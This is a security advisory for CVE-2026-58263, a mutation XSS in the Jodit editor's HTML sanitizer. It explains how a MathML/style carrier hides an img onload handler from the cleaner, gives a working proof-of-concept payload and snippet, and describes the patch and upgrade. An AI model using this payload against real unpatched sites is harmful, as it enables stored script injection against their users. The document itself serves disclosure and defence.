CVE-2026-58263: Jodit Editor Mutation XSS via MathML/style Rawtext Carrier
Jodit's HTML sanitizer can be tricked by a specially crafted MathML structure that hides a script-bearing image element during the safety check, allowing that element to survive into the editor's…

The problem
Jodit's clean-html plugin sanitizes input by parsing it into an inert sandbox, walking the resulting element tree, and stripping dangerous attributes. The MathML carrier math > mtext > table > mglyph > style causes the browser's HTML parser to treat the inner <img onload=...> as raw text inside <style>, not an element, so the element walker never visits it and the handler is not stripped.
When clean-html writes the sandbox's innerHTML back to the editor area, a second parse occurs. That reparse hoists the <img> out of <style> into the HTML namespace as a live element, with its event handler intact. The on-change walker does reach this hoisted element but only strips onerror, so onload, onfocus, and every other non-onerror handler persist permanently in editor.value.
Proof of concept
A working proof-of-concept for CVE-2026-58263 in jodit, with the exact payload below.
// Set the payload as the editor value (default config, no extra options needed)
const editor = Jodit.make('#editor');
editor.value = '<math><mtext><table><mglyph><style><img src="data:image/gif;base64,R0lGODlhAQABAIAAAAAAAP///yH5BAEAAAAALAAAAAABAAEAAAIBRAA7" onload=alert(document.domain)></style></mglyph></table></mtext></math>';
// editor.value now contains the hoisted live element with handler intact:
// <p><math><mtext><mglyph><style></style></mglyph>
// <img src="data:image/gif;base64,..." onload="alert(document.domain)">
// <table></table></mtext></math></p>
// Any consumer that renders the saved value triggers the handler:
document.getElementById('view').innerHTML = editor.value;
// -> onload fires, alert(document.domain) executes, no user interaction neededThe root cause is a parse-serialize-reparse mismatch, a mutation XSS pattern (CWE-79, CWE-83). Parse 1 (into the sandbox) uses MathML text-integration-point rules to make <img> rawtext inside <style>, invisible to the element walker. Serializing and reparsing that output (into the live editor area) produces a different tree where <img> is a real HTML element, bypassing the sanitizer entirely.
The patch at commit 0ebb61692cbe84f9abf10ac76dd594dbb6343b90 drops HTML-namespace elements that are smuggled inside <math> or <svg> outside a spec-permitted integration point (<foreignObject>, <annotation-xml>, <desc>, <title>), the same _checkValidNamespace approach used by DOMPurify.
This runs in one pass and is depth-independent, so nesting the carrier deeper cannot bypass it.
The fix
Upgrade jodit to version 4.12.28 or later. The fix validates element namespaces during the sanitizer's element walk and removes any HTML-namespace element found inside a foreign-namespace context that is not a permitted integration point. No configuration change is needed; the fix applies to the default config.
Related research
- highCVE-2026-65597: n8n DOM-Based XSS via Unsandboxed iframe srcdoc in HTML Preview
- highCVE-2026-65597CVE-2026-65597: n8n DOM-Based XSS via Unsandboxed iframe srcdoc in HTML Preview
- highCVE-2026-65592CVE-2026-65592: n8n Stored DOM XSS via Resource Locator cachedResultUrl
- high · 8.2svgo removeScripts Plugin XSS Bypass via Namespace Prefix and Case-Insensitive URI